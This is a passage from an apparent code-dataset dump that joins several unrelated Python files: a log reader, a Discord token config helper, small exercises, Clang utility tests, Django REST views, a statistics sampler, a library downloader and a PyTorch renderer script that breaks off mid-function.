unfinished line\n                    while count < n or n < 0:\n                        if line[-1] != '\\n':\n                            # end of block, break and read next block\n                            #firstblock += 1 \n                            start += self._blksz\n                            break\n                        n += 1\n                        yield line\n                        line = f.readline()\n\n\n#import re\n#protocols = ['http', 'https', 'file']\n#pattern = '|'.join(( '(?P<{0}>{0}:)'.format(p) for p in protocols ))\n#re_url = re.compile('(?:{})(?P.*)'.format(pattern))\n#def TimeStampedLogFile(url, info):\n#    m = re_url.search(url)\n#    if m is None:\n#        cls = LocalTimeStampedLogFile\n#        path = url\n#    elif m.group('file'):\n#        cls = LocalTimeStampedLogFile\n#        path = m.group('path')\n#    else:\n#        cls = RemoteTimeStampedLogFile\n#        path = url\n#    return cls(path, info)\n#\n#logFormat = 'timeStampedLogFile'\n#constructor = TimeStampedLogFile\n#\n#import os\n#import dateutil.parser\n#class LocalTimeStampedLogFile(LogFormatType):\n#    # logfiles might be very large, and we often need to find particular lines.\n#    # rather than reading the whole file linearly and parsing for newlines, we'll\n#    # read chunks from an arbitrary location and pull complete lines from them.\n#    # _blocksz is an initial chunk size to use for this\n#    _blocksz = 1000\n#\n#    def __init__(self, path, info):\n#        self.path = path\n#        # regular attributes:\n#        # ts_words is the word or word ranges making up the timestamp, 0 is first-word-in-line:\n#        ts_words = info.get('ts_words',None)\n#        if ts_words:\n#            first, sep, last = ts_words.partition('-')\n#            ifirst = int(first)\n#            if last:\n#                ilast = int(last)+1\n#            else:\n#                ilast = ifirst + 1\n#            self.ts_words = (ifirst,ilast)\n#        else:\n#            self.ts_words = None\n#        # part_word is the word identifying the part about which each entry is:\n#        part_word = info.get('part_word',None)\n#        if part_word:\n#            self.part_word = int(part_word)\n#        else:\n#            self.part_word = None\n#        #for f in ('ts_words', 'part_word'):\n#        #    setattr(self, f, int(info.get(f, None))) # TODO handle int conversion better\n#        # attributes we might have to find from file:\n#        for f in ('size', 't_start', 't_end'):\n#            setattr(self, '_'+f, info.get(f, None))\n#\n#    @property\n#    def size(self):\n#        if self._size is None:\n#             self._size = os.path.getsize(self.path)\n#        return self._size\n#\n#    import io\n#    def timespan(self):\n#        \"\"\" return the timestamps of the first and last entries in the file \"\"\"\n#        if self._t_start is None or self._t_end is None:\n#            with open(self.path, 'r') as f:\n#                # find the first and last lines, check the timestamps\n#                firstline = f.readline()\n#            sz = self.size\n#            #with open(self.path, 'rb') as f:\n#            with open(self.path, 'r') as f: # must be text or string methods get confused\n#                bs = min(self._blocksz, sz)\n#                lines = []\n#                while bs <= sz:\n#                    #f.seek(-bs, 2)\n#                    f.seek(sz-bs)   # can only seek from start in text files\n#                    lines = f.readlines() # read to end of file\n#                    if len(lines) > 1:\n#                        break\n#                    bs *= 2\n#                else:\n#                    raise Exception(\"can't find last entry in {0:s}\".format(self.path))\n#                lastline = lines[-1]\n#            print (lastline)\n#            print(lastline.split())\n#            print(lastline.split()[self.ts_words[0]:self.ts_words[1]])\n#            print(self.ts_words)\n#            print(' '.join(lastline.split()[self.ts_words[0]:self.ts_words[1]]))\n#            self._t_start = dateutil.parser.parse(' '.join(firstline.split()[self.ts_words[0]:self.ts_words[1]]))\n#            self._t_end = dateutil.parser.parse(' '.join(lastline.split()[self.ts_words[0]:self.ts_words[1]]))\n#        return (self._t_start, self._t_end)\n#\n#    def entries(self, since=None, until=None, parts=None):\n#        \"\"\" return the log entries of data between 'since' (or the start of the \n#            file) and 'until' (or the end of the file), inclusive, optionally\n#            filtering for certain parts\n#        \"\"\"\n#        pass\n#\n#\n#import urllib.request\n#class RemoteTimeStampedLogFile(LogFormatType):\n#    _blocksz = 1000\n#\n#    def __init__(self, url, info):\n#        self.url = url\n#        # regular attributes:\n#        for f in ('ts_word', 'part_word'):\n#            setattr(self, f, info.get(f, None))\n#        # attributes we might have to find from file:\n#        for f in ('size', 't_start', 't_end'):\n#            setattr(self, '_'+f, info.get(f, None))\n#\n#    @property\n#    def size(self):\n#        if self._size is None:\n#            with urllib.request.urlopen(self.url) as f:\n#                self.size = f.info()[\"Content-Length\"]\n#        return self._size\n#\n#    def timespan(self):\n#        if self._t_start is None or self._t_end is None:\n#            with urllib.request.urlopen(self.url) as f:\n#                # find the first and last lines, check the timestamps\n#                firstline = f.readline()\n#            # read the last _blocksz bytes\n#            bs = min(self._blocksz, sz)\n#            lines = []\n#            # make sure we get at least a full line:\n#            while bs <= sz:\n#                b = 'bytes={0:d}-'.format(int(self.size)-bs)\n#                req = urllib.request.Request(self.url, headers={'Range':b})\n#                with urllib.request.urlopen(req) as f:\n#                    lines = f.readlines() # read to end of file\n#                    if len(lines) > 1:\n#                        break\n#                    bs += self._blocksz \n#            else:\n#                raise Exception(\"can't find last entry in {0:s}\".format(self.url))\n#            lastline = lines[-1]\n#            self._t_start = dateutil.parser.parse(firstline.split()[self.ts_word])\n#            self._t_end = dateutil.parser.parse(lastline.split()[self.ts_word])\n#        return (self._t_start, self._t_end)\n\n\n    \n","sub_path":"src/handlers/TextFile.py","file_name":"TextFile.py","file_ext":"py","file_size_in_byte":10185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"532850381","text":"import os\nfrom typing import Optional\n\nimport yaml\nimport PySimpleGUI as sg\n\n\ndef mkdir(dir_path):\n    if not os.path.exists(dir_path):\n        os.mkdir(dir_path)\n\n\nclass YamlConfig:\n    def __init__(self, file_name=\"./settings/config.yaml\"):\n        self.file_name = file_name\n    \n    def load(self) -> dict:\n        \"\"\"\n        yamlファイルを読み辞書形式で結果を返す\n        :return: yamlファイルのデータ構造（辞書）\n        \"\"\"\n        with open(self.file_name, \"r\") as yf:\n            return yaml.load(yf, Loader=yaml.FullLoader)\n    \n    def write(self, data: dict) -> None:\n        \"\"\"\n        yamlを書き出す\n        :param data: yamlで出力するデータをまとめた辞書\n        \"\"\"\n        with open(self.file_name, \"w\") as yf:\n            yaml.dump(data, yf, default_flow_style=False)\n\n\ndef get_token(path):\n    yc = YamlConfig(path)\n    token: str = \"\"\n    if os.path.exists(path):\n        conf = yc.load()\n        token = conf[\"token\"]\n        \n    register_token: Optional[str] = sg.PopupGetText(\"Input the discord bot token\", \"Discord token\", token)\n    if register_token is None:\n        exit()\n    yc.write({\"token\": register_token})\n    return register_token\n","sub_path":"pkg/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"336476060","text":"import re\nfirst = True\nwhile True:\n    linhas = int(input())\n    texto = []\n    maior = 0\n    if linhas == 0:\n        break\n    else:\n        if not first:\n            print()\n        for l in range(linhas):\n            linha = re.sub(r'\\s+',' ', input().strip())\n            texto.append(linha)\n            if len(linha) > maior:\n                maior = len(linha)\n        for l in texto:\n            print('{0:>{1}}'.format(l,maior))\n        first = False","sub_path":"String/1278.py","file_name":"1278.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"545720141","text":"import random\npincode = [\"1221\", \"9997\", \"8829\", \"6765\", \"9114\", \"5673\", \"0103\", \"4370\", \"8301\", \"1022\"]\nnumber = (random.choice (pincode))\nprint(number)\n\nquesses = 0\nwhile quesses < 10:\n  userinput = input(\"Guess the random 4 digit number: \")\n\n  quesses += 1    \n  print (\"This is your guess: %s\" %(userinput))\n  print (\"You have used \" + str(quesses) + \" out of 10 guesses\")\n  if userinput == number:\n    quesses2 = str(quesses)\n    print (\"You guessed it in:\", quesses2 + \" guesses\")  \n\n  number = str(number)\n  userinput = str(userinput)\n  \n  if userinput.isdigit() == False:\n    print (\"Error: You can only use numbers\")\n    quesses = quesses - 1\n    continue\n  \n  if len(userinput) != len(number):\n    print(\"Your input is too long or too short.\")\n    quesses = quesses - 1\n    continue\n\n\n\n  check = [\"F\"] * 4\n  if userinput == number and quesses >= 1:\n    print(\"The game was beaten in \" + str(quesses) +\" quesses. Congratulations!\")\n    break\n  else:\n    for idx, digit in enumerate(userinput):     \n      #als het nummer op de goede plek staat, print G\n      if number[idx] == digit:       \n        check[idx] = \"G\"\n      \n      #als het nummer vookomt, print C\n      elif digit in number:\n        check[idx] = \"C\"\n      \n      #anders, print F\n      else:        \n        check[idx] = \"F\"\n      \n\n  e1 = \"1980\"\n  e2 = \"1955\"\n\n  if userinput != number and userinput == e1:\n\n     if userinput == e1:\n        print (\"Yeah! You found an easteregg: The birthyear of LGG!\")\n     quesses = quesses - 1\n    \n  elif userinput != number and userinput == e2:\n\n     if userinput == e2:\n        print (\"Yeah! You found an easteregg: The birthyear of BNT!\")\n     quesses = quesses - 1\n\n  else:\n     print(*check, sep=\" \")\n     print (\"Wrong code\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"44685908","text":"\"\"\"Test Clang utils.\"\"\"\nfrom collections import namedtuple\nfrom os import path\nfrom unittest import TestCase\n\nfrom EasyClangComplete.plugin.clang.utils import ClangUtils\n\ntest_file = namedtuple('test_file', 'name')\ntest_cursor = namedtuple('test_cursor', 'file line')\ntest_extent = namedtuple('test_extent', 'start end')\n\n\nclass TestClangUtils(TestCase):\n    \"\"\"Tests MacroParser.\"\"\"\n\n    def test_htmlize_text_ltgt(self):\n        \"\"\"Test a <> symbols convertion.\"\"\"\n        res = ClangUtils.htmlize_text('<>')\n        self.assertEqual(res, '<>')\n\n    def test_htmlize_text_newline(self):\n        \"\"\"Test a \\n convertion.\"\"\"\n        res = ClangUtils.htmlize_text('text\\ntext')\n        self.assertEqual(res, 'text
    text')\n\n    def test_htmlize_text_tab(self):\n        \"\"\"Test a \\t convertion.\"\"\"\n        res = ClangUtils.htmlize_text('text\\ttext')\n        self.assertEqual(res, 'text' + 4 * ' ' + 'text')\n\n    def test_htmlize_text_quot(self):\n        \"\"\"Test a \" symbol convertion.\"\"\"\n        res = ClangUtils.htmlize_text('text\"text')\n        self.assertEqual(res, 'text' + ' ' + 'text')\n\n    def test_htmlize_text_spaces(self):\n        \"\"\"Test a single-line string with spaces.\"\"\"\n        res = ClangUtils.htmlize_text('   123')\n        self.assertEqual(res, 3 * ' ' + '123')\n\n    def test_get_text_by_extent_multifile(self):\n        \"\"\"Test getting text from multifile extent.\"\"\"\n        file1 = test_file('file1.c')\n        file2 = test_file('file2.c')\n        cursor1 = test_cursor(file1, 1)\n        cursor2 = test_cursor(file2, 6)\n        ext = test_extent(cursor1, cursor2)\n        self.assertEqual(ClangUtils.get_text_by_extent(ext), None)\n\n    def test_get_text_by_extent_oneline(self):\n        \"\"\"Test getting text from oneline extent.\"\"\"\n        file_name = path.join(path.dirname(__file__),\n                              'test_files',\n                              'test.cpp')\n        file1 = test_file(file_name)\n        cursor1 = test_cursor(file1, 8)\n        cursor2 = test_cursor(file1, 8)\n        ext = test_extent(cursor1, cursor2)\n        self.assertEqual(ClangUtils.get_text_by_extent(ext), '  A a;\\n')\n\n    def test_get_text_by_extent_multiline(self):\n        \"\"\"Test getting text from multiline extent.\"\"\"\n        file_name = path.join(path.dirname(__file__),\n                              'test_files',\n                              'test.cpp')\n        file1 = test_file(file_name)\n        cursor1 = test_cursor(file1, 8)\n        cursor2 = test_cursor(file1, 9)\n        ext = test_extent(cursor1, cursor2)\n        self.assertEqual(ClangUtils.get_text_by_extent(ext), '  A a;\\n  a.\\n')\n","sub_path":"tests/test_clang_utils.py","file_name":"test_clang_utils.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"396414280","text":"from rest_framework import (\n    generics,\n    permissions\n)\nfrom rest_framework_gis.pagination import GeoJsonPagination\n\nfrom api.serializers.tracks import (\n    TrackSerializer,\n    TrackGeoSerializer\n)\n\nfrom api.models import Track\n\nfrom api.filters import TrackFilter\n\n\nclass ListTrack(generics.ListAPIView):\n    \"\"\"\n    get:\n    Returns a list of all tracks.\n    \"\"\"\n    serializer_class = TrackSerializer\n    queryset = Track.objects.all()\n    permission_classes = (permissions.AllowAny,)\n    filter_class = TrackFilter\n\n\nclass RetrieveTrack(generics.RetrieveAPIView):\n    \"\"\"\n    get:\n    Returns the given track.\n    \"\"\"\n    serializer_class = TrackSerializer\n    queryset = Track.objects.all()\n    permission_classes = (permissions.AllowAny,)\n\n\nclass ListGeoTrack(generics.ListAPIView):\n    \"\"\"\n    get:\n    Returns a list of all tracks in geojson format.\n    \"\"\"\n    serializer_class = TrackGeoSerializer\n    queryset = Track.objects.all()\n    permission_classes = (permissions.AllowAny,)\n    pagination_class = GeoJsonPagination\n    filter_class = TrackFilter\n","sub_path":"app/api/views/tracks.py","file_name":"tracks.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"643287675","text":"# -*- coding: utf-8 -*-\nfrom textwrap import dedent\n\nimport numpy as np\nfrom scipy.stats import norm\n\nclass Sampler:\n    def __init__(\n        self,\n        sample_size=None,\n        population_size=None,\n        margin_of_error=0.05,\n        confidence_level=0.95,\n        verbose=False\n    ):\n        self.sample_size=sample_size\n        self.population_size=population_size\n        self.margin_of_error=margin_of_error\n        self.confidence_level=confidence_level\n        self.verbose=verbose\n\n\nclass ProportionSampler(Sampler):\n    def __init__(self, p_hat, **kwargs):\n        super().__init__(**kwargs)\n        self.p_hat=p_hat\n\n    def __str__(self):\n        msg = f\"\"\"\n        *** Proportion Sampler Parameters ***\n        =====================================\n        observed p: {self.p_hat}\n        sample size: {self.sample_size}\n        population size: {self.population_size}\n        margin of error: {self.margin_of_error}\n        confidence level: {self.confidence_level}\n        =====================================\n        \"\"\"\n        return dedent(msg)\n\n    def _check_and_get(self, attr_name):\n        attr = getattr(self, attr_name)\n        if attr is None:\n            raise ValueError(f'{attr_name} must be provided.')\n        return attr\n\n    def get_minimum_sample_size(self):\n        p = self.p_hat\n        m = self.margin_of_error\n        c = self.confidence_level\n        N = self.population_size\n        p = self._check_and_get('p_hat')\n        z = norm.ppf(1-(1-c)/2)\n        sigma2 = (z**2) * p * (1 - p)\n        n =  sigma2 / (m**2)\n        if N is None or n / N < 0.05:\n            return np.round(n)\n        else:\n            if self.verbose:\n                print('Applying finite population correction.')\n            return np.round((N * sigma2) / ((m**2) * N + sigma2))\n\n    def get_standard_error(self):\n        p = self._check_and_get('p_hat')\n        n = self._check_and_get('sample_size')\n        fpc = 1\n        N = self.population_size\n        if N is not None and n / N > 0.05:       \n            fpc = np.sqrt((N-n)/(N-1))\n        return np.sqrt(p*(1-p)/n) * fpc\n\n    def get_margin_of_error(self):\n        c = self._check_and_get('confidence_level')\n        z = norm.ppf(1-(1-c)/2)\n        return self.get_standard_error() * z\n\n    def get_confidence_interval(self):\n        p = self._check_and_get('p_hat')\n        m = self.get_margin_of_error()\n        return (p-m, p+m)\n","sub_path":"clinical/clinical.py","file_name":"clinical.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"375894727","text":"#!/bin/bash\n\nimport os\nfrom path import Path\nimport numpy as np\nimport glob\n\nPATH_DATA = Path('/scratch/bigdata/ABCD/abcd-fmriprep-rs/abcd-fmriprep-rs-untar')\nPATH_OUT = Path('/scratch/bigdata/ABCD/abcd-fmriprep-rs/abcd-fmriprep-rs-time')\n\n# \nSH_file = '/scratch/bigdata/ABCD/abcd-fmriprep-rs/time.sh'\n\ncmds = []\ndirs_input = sorted(PATH_DATA.glob('fmriprep-deri-*'))\n\nfor fprep in dirs_input:\n    # extract sub name\n    sub_num=os.path.basename(fprep) #-> split해서 마지막 이름만 받기\n    sub_name=sub_num.split('-')[2]\n\n    sub_run_folder=fprep+'/fmriprep/sub-'+sub_name+'/ses-baselineYear1Arm1/func'\n    sub_run=[f for f in os.listdir(sub_run_folder) if 'res-2_desc-preproc_bold.nii.gz' in f]\n\n    # return the base name from the path\n    dir_out = str(PATH_OUT / os.path.basename(fprep))\n    for s_run in sub_run:\n        # cmds from : .sh file + input file(npz) + (output path+sub_name)\n        cmds.append(' '.join([SH_file, str(sub_run_folder+'/'+s_run), dir_out, '\\n']))\n\nwith open('./jobs.txt', 'w') as f:\n    f.writelines(cmds)\n\n","sub_path":"after_job_scheduler/time_create_jobs.py","file_name":"time_create_jobs.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"578908757","text":"\nimport os\nimport shutil\nimport system_helper\nimport zipfile\nimport requests\n\n\n'''\nDownloads a header only library as zip file and extracts the relevant include folder in the extern/ folder.\n\\param 1 - target folder name: /extern/, e.g. \"cgal\"\n\\param 2 - include folder in downloaded library, e.g. \"CGAL-5.0.2/include\"\n\\param 3 - zip file name, e.g. \"CGAL-5.0.2-library.zip\"\n\\param 4 - link to .zip file, e.g. \"https://github.com/CGAL/cgal/releases/download/releases%2FCGAL-5.0.2/CGAL-5.0.2-library.zip\"\n'''\n\nextern_folder=\"extern\"\n\ndebug_output = False\n\nclass HeaderOnlyDescription:\n    \n    '''\n    \\param target_folder, e.g. \"cgal\"\n    \\param include_folder, e.g. \"CGAL-5.0.2/include\"\n    \\param zip_file, e.g. \"CGAL-5.0.2-library.zip\"\n    \\param download_link, e.g. \"https://github.com/CGAL/cgal/releases/download/releases%2FCGAL-5.0.2/CGAL-5.0.2-library.zip\"\n    '''\n    def __init__(self, target_folder, include_folder, zip_file, download_link):\n        self.target_folder = target_folder\n        self.include_folder = include_folder\n        self.zip_file = zip_file\n        self.download_link = download_link\n\ndef download_header_only(target_folder, include_folder, zip_file, download_link, tmp_folder, extern_folder = \"extern\", verbose = True):    \n    '''\n    \\param target_folder, e.g. \"cgal\"\n    \\param include_folder, e.g. \"CGAL-5.0.2/include\"\n    \\param zip_file, e.g. \"CGAL-5.0.2-library.zip\"\n    \\param download_link, e.g. \"https://github.com/CGAL/cgal/releases/download/releases%2FCGAL-5.0.2/CGAL-5.0.2-library.zip\"\n    \\param tmp_folder - a termporary folder that can be used to store intermediate products of the downloading process. Should be either non existent or empty.\n    \\param extern_folder - folder in which the libraries are stored in, e.g. \"extern\"\n    \\param verbose - additional information are printed in output\n    '''\n\n    path = extern_folder + \"/\" + target_folder\n    if os.path.exists(path):\n        if debug_output:\n            print(target_folder + \" already exists. Skipping...\")\n    else:\n        if not os.path.exists(tmp_folder):\n            os.mkdir(tmp_folder)\n        with system_helper.cd(tmp_folder):\n            if verbose:\n                print (target_folder + \" not found, downloading...\")\n\n            # download the file and put it in the current folder            \n            try:\n                r = requests.get(download_link)\n                with open(zip_file, 'wb') as outfile:\n                    outfile.write(r.content)\n            except Exception as e:\n                print (e)\n                print (\"Download unavailable at \" + download_link + \". Aborting...\")\n                return\n                \n            if debug_output:\n                print (\"Downloading complete.\")\n            \n            with zipfile.ZipFile(zip_file, 'r') as zip_ref:\n                zip_ref.extractall()\n            os.remove(zip_file)\n            \n            os.makedirs(\"../extern/\" + target_folder, exist_ok=True)\n            system_helper.copytree(include_folder, \"../extern/\" + target_folder)\n            if debug_output:\n                print(\"Successfully downloaded and installed \" + target_folder)\n\ndef download_headers_only(header_only_descriptions, extern_folder = \"extern\", verbose = True):\n    '''\n    Downloads a header only library as zip file and extracts the relevant include folder in the extern/ folder.\n    \\param header_only_descriptions - list of HeaderOnlyDescriptions that \n        are used to download the header only libraries.\n    \\param extern_folder - folder in which the libraries are stored in, e.g. \"extern\"\n    \\param verbose - additional information are printed in output\n    '''\n\n    # create a tmp folder that doesn't exist yet. Simply appends _\n    tmp_folder = \"_tmp\"\n    while os.path.exists(tmp_folder):\n        tmp_folder = \"_\" + tmp_folder\n        \n    if not os.path.exists(extern_folder):\n        os.mkdir(extern_folder)\n        \n    for d in header_only_descriptions:\n        download_header_only(d.target_folder, d.include_folder, d.zip_file, d.download_link, tmp_folder, extern_folder, verbose)\n\n    if os.path.isdir(tmp_folder):\n        shutil.rmtree(tmp_folder)\n        ","sub_path":"scripts/python/download_header_only.py","file_name":"download_header_only.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"394992185","text":"\"\"\"\nRenderer estimator for the converge of 1 image\ntool has rotation motion\nResnet outputs 3 parameters\n\"\"\"\nimport os\nimport argparse\nimport glob\nfrom torch.utils.data import Dataset\nfrom scipy.spatial.transform.rotation import Rotation as Rot\nimport torch\nimport math as m\nimport torch.nn as nn\nimport numpy as np\nfrom skimage.io import imread, imsave\nimport tqdm\nimport imageio\nimport time\nfrom torch.autograd import Variable\nimport torch\nimport torchvision.models as models\nfrom torchvision.models.resnet import ResNet, Bottleneck\nimport torchvision.models as models\nimport torchgeometry as tgm #from https://torchgeometry.readthedocs.io/en/v0.1.2/_modules/torchgeometry/core/homography_warper.html\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms import ToTensor, Compose, Normalize, Lambda\nimport matplotlib.pyplot as plt\nimport math as m\nimport torch.utils.model_zoo as model_zoo\nimport neural_renderer as nr\nfrom scipy.misc import imsave\nimport matplotlib2tikz\n\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\ndata_dir = os.path.join(current_dir, '3D_objects')\nresult_dir = os.path.join(current_dir, 'results/2_rotation_render')\n\n\n__all__ = ['ResNet', 'resnet18', 'resnet34', 'resnet50', 'resnet101',\n           'resnet152']\n\nmodel_urls = {\n    'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n    'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n    'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n    'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n    'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n}\n\nclass CubeDataset(Dataset):\n    # code to shape data for the dataloader\n    def __init__(self, images, silhouettes, parameters, transform=None):\n        self.images = images.astype(np.uint8)  # our image\n        self.silhouettes = silhouettes.astype(np.uint8)  # our related parameter\n        self.parameters = parameters.astype(np.float32)\n        self.transform = transform\n\n    def __getitem__(self, index):\n        # Anything could go here, e.g. image loading from file or a different structure\n        # must return image and center\n        sel_images = self.images[index].astype(np.float32) / 255\n        sel_sils = self.silhouettes[index]\n        sel_params = self.parameters[index]\n\n        if self.transform is not None:\n            sel_images = self.transform(sel_images)\n            sel_sils = torch.from_numpy(sel_sils)\n\n        # squeeze transform sil from tensor shape [6,1,512,512] to shape [6, 512, 512]\n        return sel_images, np.squeeze(sel_sils), torch.FloatTensor(sel_params)  # return all parameter in tensor form\n\n    def __len__(self):\n        return len(self.images)  # return the length of the dataset\n\ndef Myresnet50(filename_obj=None, pretrained=True, cifar = True, modelName='None', **kwargs):\n    \"\"\"Constructs a ResNet-50 model.\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ModelResNet50( filename_obj=filename_obj)\n    if pretrained:\n        print('using own pre-trained model')\n\n        if cifar == True:\n            pretrained_state = model_zoo.load_url(model_urls['resnet50'])\n            model_state = model.state_dict()\n            pretrained_state = {k: v for k, v in pretrained_state.items() if\n                                k in model_state and v.size() == model_state[k].size()}\n            model_state.update(pretrained_state)\n            model.load_state_dict(model_state)\n            model.eval()\n\n        else:\n            model.load_state_dict(torch.load('models/{}.pth'.format(modelName)))\n            model.eval()\n        print('download finished')\n    return model\n\n\nclass ModelResNet50(ResNet):\n    def __init__(self, filename_obj=None, filename_init=None, *args, **kwargs):\n        super(ModelResNet50, self).__init__(Bottleneck, [3, 4, 6, 3], num_classes=3, **kwargs)\n\n# resnet part\n        self.seq1 = nn.Sequential(\n            self.conv1,\n            self.bn1,\n            self.relu,\n            self.maxpool,\n\n            self.layer1,\n            self.layer2\n        )\n\n        self.seq2 = nn.Sequential(\n            self.layer3,\n            self.layer4,\n            self.avgpool,\n        )\n\n        self.fc\n\n# render part\n\n        vertices, faces, textures = nr.load_obj(filename_obj, load_texture=True)\n        vertices = vertices[None, :, :]  # [num_vertices, XYZ] -> [batch_size=1, num_vertices, XYZ]\n        faces = faces[None, :, :]  # [num_faces, 3] -> [batch_size=1, num_faces, 3\n        textures = textures[None, :, :]\n\n        self.register_buffer('vertices', vertices)\n        self.register_buffer('faces', faces)\n        self.register_buffer('textures', textures)\n\n        # ---------------------------------------------------------------------------------\n        # extrinsic parameter, link world/object coordinate to camera coordinate\n        # ---------------------------------------------------------------------------------\n\n        alpha = np.radians(0)\n        beta = np.radians(0)\n        gamma = np.radians(0)\n\n        x = 0  # uniform(-2, 2)\n        y = 0  # uniform(-2, 2)\n        z = 6  # uniform(5, 10) #1000t was done with value between 7 and 10, Rot and trans between 5 10\n\n        resolutionX = 512  # in pixel\n        resolutionY = 512\n        scale = 1\n        f = 35  # focal on lens\n        sensor_width = 32  # in mm given in blender , camera sensor type\n        pixels_in_u_per_mm = (resolutionX * scale) / sensor_width\n        pixels_in_v_per_mm = (resolutionY * scale) / sensor_width\n        pix_sizeX = 1 / pixels_in_u_per_mm\n        pix_sizeY = 1 / pixels_in_v_per_mm\n\n        Cam_centerX = resolutionX / 2\n        Cam_centerY = resolutionY / 2\n\n        batch = vertices.shape[0]\n\n        Rx = np.array([[1, 0, 0],\n                       [0, m.cos(alpha), -m.sin(alpha)],\n                       [0, m.sin(alpha), m.cos(alpha)]])\n\n        Ry = np.array([[m.cos(beta), 0, m.sin(beta)],\n                       [0, 1, 0],\n                       [-m.sin(beta), 0, m.cos(beta)]])\n\n        Rz = np.array([[m.cos(gamma), -m.sin(gamma), 0],\n                       [m.sin(gamma), m.cos(gamma), 0],\n                       [0, 0, 1]])\n\n        #   creaete the rotation camera matrix\n\n        Rzy = np.matmul(Rz, Ry)\n        Rzyx = np.matmul(Rzy, Rx)\n        R = Rzyx\n\n        t = np.array([x, y, z])  # camera position [x,y, z] 0 0 5\n\n        # ---------------------------------------------------------------------------------\n        # intrinsic parameter, link camera coordinate to image plane\n        # ---------------------------------------------------------------------------------\n\n        K = np.array([[f / pix_sizeX, 0, Cam_centerX],\n                      [0, f / pix_sizeY, Cam_centerY],\n                      [0, 0, 1]])  # shape of [nb_vertice, 3, 3]\n\n        K = np.repeat(K[np.newaxis, :, :], batch, axis=0)  # shape of [batch=1, 3, 3]\n        R = np.repeat(R[np.newaxis, :, :], batch, axis=0)  # shape of [batch=1, 3, 3]\n        t = np.repeat(t[np.newaxis, :], 1, axis=0)  # shape of [1, 3]\n\n        self.K = K\n        # self.R = nn.Parameter(torch.from_numpy(np.array(R, dtype=np.float32)))\n        self.R = R\n        # self.Rx\n        # self.Ry\n        # self.Rz\n        # quaternion notation?\n        # -------------------------- working block translation\n        self.tx = torch.from_numpy(np.array(x, dtype=np.float32)).cuda()\n        self.ty = torch.from_numpy(np.array(y, dtype=np.float32)).cuda()\n        self.tz = torch.from_numpy(np.array(z, dtype=np.float32)).cuda()\n        self.t =torch.from_numpy(np.array([self.tx, self.ty, self.tz], dtype=np.float32)).unsqueeze(0)\n        # self.t = nn.Parameter(torch.from_numpy(np.array([self.tx, self.ty, self.tz], dtype=np.float32)).unsqueeze(0))\n\n        # --------------------------\n\n        # setup renderer\n        renderer = nr.Renderer(camera_mode='projection', orig_size=512, K=K, R=self.R, t=self.t, image_size=512, near=1,\n                               far=1000,\n                               light_intensity_ambient=1, light_intensity_directional=0, background_color=[0, 0, 0],\n                               light_color_ambient=[1, 1, 1], light_color_directional=[1, 1, 1],\n                               light_direction=[0, 1, 0])\n\n        self.renderer = renderer\n\n    def forward(self, x):\n        x = self.seq1(x)\n        x = self.seq2(x)\n        params = self.fc(x.view(x.size(0), -1))\n        print('computed parameters are {}'.format(params))\n        return params\n\n# ---------------------------------------------------------------------------------\n# make Gif\n# ---------------------------------------------------------------------------------\ndef make_gif(filename):\n    with imageio.get_writer(filename, mode='I') as writer:\n        for filename in sorted(glob.glob('/tmp/_tmp_*.png')):\n            writer.append_data(imread(filename))\n            os.remove(filename)\n    writer.close()\n\ndef R2Rmat(R, n_comps=1):\n    #function use to make the angle into matrix for the projection function of the renderer\n\n    # R[0] = 1.0472\n    # R[1] = 0\n    # R[2] = 0.698132\n    alpha = R[0,0] #already in radian\n    beta = R[0,1]\n    gamma =  R[0,2]\n\n    rot_x = Variable(torch.zeros(n_comps, 3, 3).cuda(), requires_grad=False)\n    rot_y = Variable(torch.zeros(n_comps, 3, 3).cuda(), requires_grad=False)\n    rot_z = Variable(torch.zeros(n_comps, 3, 3).cuda(), requires_grad=False)\n    rot_x[:, 0, 0] = 1\n    rot_x[:, 0, 1] = 0\n    rot_x[:, 0, 2] = 0\n    rot_x[:, 1, 0] = 0\n    rot_x[:, 1, 1] = alpha.cos()\n    rot_x[:, 1, 2] = -alpha.sin()\n    rot_x[:, 2, 0] = 0\n    rot_x[:, 2, 1] = alpha.sin()\n    rot_x[:, 2, 2] = alpha.cos()\n\n    rot_y[:, 0, 0] = beta .cos()\n    rot_y[:, 0, 1] = 0\n    rot_y[:, 0, 2] = beta .sin()\n    rot_y[:, 1, 0] = 0\n    rot_y[:, 1, 1] = 1\n    rot_y[:, 1, 2] = 0\n    rot_y[:, 2, 0] = -beta .sin()\n    rot_y[:, 2, 1] = 0\n    rot_y[:, 2, 2] = beta.cos()\n\n    rot_z[:, 0, 0] = gamma.cos()\n    rot_z[:, 0, 1] = -gamma.sin()\n    rot_z[:, 0, 2] = 0\n    rot_z[:, 1, 0] = gamma.sin()\n    rot_z[:, 1, 1] = gamma.cos()\n    rot_z[:, 1, 2] = 0\n    rot_z[:, 2, 0] 